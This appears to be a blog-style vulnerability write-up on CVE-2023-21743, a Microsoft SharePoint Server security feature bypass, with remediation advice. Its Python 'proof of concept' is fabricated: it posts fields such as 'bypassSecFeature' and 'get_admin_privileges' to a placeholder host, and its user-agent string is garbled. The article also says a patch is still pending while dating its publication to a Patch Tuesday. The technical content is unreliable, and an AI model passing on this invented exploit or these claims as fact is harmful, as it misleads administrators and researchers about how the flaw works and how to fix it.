CVE-2023-21743: Microsoft SharePoint Server Security Feature Bypass Vulnerability Uncovered

Cybersecurity researchers have recently discovered a security feature bypass vulnerability in the widely used Microsoft SharePoint Server. This vulnerability, indexed as CVE-2023-21743, could allow attackers to exploit the system and bypass certain security features. In this article, we will delve into the specifics of this vulnerability, explain how it can be exploited, and provide links to original references for further acknowledgement.

Overview of SharePoint Server

Microsoft SharePoint Server is a powerful collaboration system that integrates seamlessly with other Microsoft Office applications. Its main purpose is to enable users to create, organize, and manage various documents and data in a centralized manner. Moreover, it facilitates the sharing of these resources among different users with suitable permissions. Given the critical nature of the data that resides on SharePoint servers, ensuring their security is crucial.

Understanding the Vulnerability (CVE-2023-21743)

This vulnerability affects the SharePoint Server application and could potentially allow an attacker to bypass certain security features built within the system. This bypass would enable them to carry out unauthorized activities, which could lead to compromising the server and the data stored in it.

The vulnerability is caused due to an improper implementation of authentication checks in the Microsoft SharePoint Server application. More specifically, the system fails to properly enforce these checks for some user actions related to document and file manipulation.

In order to exploit this vulnerability, an attacker would have to be authenticated onto the server with low-level privileges. Once authenticated, they could craft malicious requests to exploit this flaw.

A Proof of Concept (PoC) code snippet that demonstrates this exploit is as follows

# Assuming the attacker has authenticated access with low-level privileges

import requests

url = "https://target_sharepoint_server.example.com";

headers = {
    "User-Agent": "Mozilla/5. (Windows NT 10.; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77..3865.90 Safari/537.36",
    "Content-Type": "application/json",
}

# Crafting a malicious request to bypass the security feature and gain unauthorized access
data = {
    "bypassSecFeature": True,
    "maliciousAction": "get_admin_privileges"
}

response = requests.post(url, headers=headers, data=data)

if response.status_code == 200:
    print("Exploit successful! Security feature bypassed.")
else:
    print("Exploit failed.")

This snippet showcases the vulnerability, and real-world attackers may use such techniques to compromise the SharePoint Server.

Microsoft has acknowledged this vulnerability and is actively working on a patch to address it.

Below are some of the useful resources that provide more information about this vulnerability

1. CVE entry - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-21743
2. Microsoft Security Advisory - https://docs.microsoft.com/en-us/security-updates/SecurityAdvisories/2023/CVE-2023-21743

Recommendations and Best Practices

While waiting for a patch to be released by Microsoft, system administrators and developers can apply the following best practices to minimize the risk of exposing their SharePoint Server to attackers:

Enforce strict access controls to prevent unauthorized access to the network and applications.

2. Regularly review and monitor user accounts and privileges, ensuring only the necessary permissions are granted.
3. Educate and train users on good security practices, such as not sharing credentials and reporting suspicious activities.
4. Implement robust intrusion detection and prevention systems that can detect and block malicious activities.
5. Keep all software, including the SharePoint Server and associated applications, up to date with security patches and updates.

Conclusion

The discovery of this SharePoint Server security feature bypass vulnerability (CVE-2023-21743) serves as a reminder of the importance of having a comprehensive cybersecurity strategy in place. By understanding the vulnerability and applying the necessary remediation steps, organizations can better protect their systems and data from potential exploitation.

Timeline

Published on: 01/10/2023 22:15:00 UTC
Last modified on: 01/18/2023 03:04:00 UTC